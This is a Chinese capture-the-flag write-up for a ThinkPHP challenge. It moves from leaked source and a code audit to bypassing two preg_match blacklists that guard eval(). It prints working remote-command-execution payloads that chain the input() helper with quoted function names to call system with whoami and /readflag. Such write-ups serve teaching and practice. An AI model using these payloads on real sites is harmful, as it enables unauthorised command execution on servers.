考点
源码泄露
代码审计
preg_match绕过
前置知识
thinkphp助手函数
助手函数对常用的函数进行了封装,(可以理解别名,但不能完全这么理解)大概如下几种。
- app
- url
- input
- redirect
- validate
- cookie
- env
这里主要讲 input
。
input 有点类似与 $_GET $_POST
语法格式
1 | input('请求类型.]参数名[/变量修饰符]', '默认值', '过滤方法'); |
获取某个请求类型的所有请求参数
1 | // 获取get请求类型的所有参数及其参数值 |
获取某个请求参数的值
1 | // 获取任何请求类型的name参数值 |
变量修饰符
1 | // 获取指定参数的值并将转为数字 |
参数默认值
1 | // 获取指定参数的值 没有获取到将返回默认值 |
过滤方法
1 | // 获取指定参数的值再经过intval函数进行过滤 |
可用input 这个助手函数绕过正则对$_GET/$_POST等关键字过滤。
解题过程
打开
报了403,紧接着扫扫目录。
发现源码泄露,down下来。
代码审计
通过把代码放到Seay进行自动审计,得到结果。
其他都是thinkphp框架的环境,这里直接开始审计第一个。
路径:/app/controller/Index.php
1 |
|
这里的路由规则看不太懂,但是不影响做题,直接访问 /public/ 这个路径就能执行到上面代码
127.0.0.1:9999/public/
分析
要执行到eval($code)
,需要经过两个条件
第一个
1 | if(preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $code, $matches1)) { |
分析:
正则会匹配$_GET[‘code’] 接收的值,然后会通过函数 function_exists()判断 ,如果给定的函数已经被定义就返回true
,当接收的值是一个被定义的函数名并且这个函数名又不在$white_fun数组中,程序就会终止。但是我发现当我当在函数名两边加上单引号,就不会被匹配到,并且还能执行,比如assert(); 这样会被匹配到,变成 ‘assert’()就不会,通过在本地测试,’assert’()能够执行。
第二个
1 | if(preg_match('/(new)|(dump)|(content)|(f)|(php)|(base)|(evala)|(assert)|(system)|(exec)|(passthru)|(code)|(chr)|(ord)|(include)|(require)|(request)|(import)|(post)|(get)|(cookie)|(sess)|(server)|(copy)|(hex)|(bin)|( )|(\")|(\/)|(\>)|(\<)|(~)|(\{)|(\})|(\.)|(,)|(`)|(\$)|(_)|(\^)|(!)|(%)|(\+)|(\|)|(dl)|(open)|(mail)|(env)|(ini)|(link)|(url)|(http)|(html)|(conv)|(add)|(str)|(parse)/i', $code)) { |
即便是绕过了第一个正则,很多函数还能被ban了,自己尝试了8进制编码绕过,但是由于过滤了双引号,不能执行成功,php编码函数绕过,大部分都被过滤,找到一个bzdecompress
,但是需要开启bz2,默认是不开启,放弃了,还有就是通过数组,数组可以绕过过以上两个条件,但是最终值为 Array
,显然达不到我想要的效果,最终问了出题师傅,提示了thinkphp的助手函数。助手函数,找到一个 input
的助手函数,功能类似于 $_GET['name']
,前者比后者强大,前者所有方式传参都能接收,比如 $name = input('name');
,GET、POST等都能传进来。
构造payload
在构造payload的时候,我思路太狭窄了。
当时构造的是
1 | ?code='input'('name');&name=eval("phpinfo();"); |
发现没有回显,后来经过大师傅指点,这样传进去根本只是个字符串
1 | ?code='input'('name');&name=eval("phpinfo();"); |
最后实在想不出来什么招,就问了出题师傅payload。
1 | /public/?code=((%27input%27)(%27aun%27))((%27input%27)(%27cmd%27));&aun=system&cmd=whoami |
看到这个payload,我大吃一惊,我咋就没想到。
于是自己也构造了一个payload
1 | ?code='input'('cmd')('input'('value'));&cmd=system&value=whoami |
也可以执行。
拿 flag 的payload
1 | ?code='input'('cmd')('input'('value'));&cmd=system&value=/readflag |
总结
我太菜了。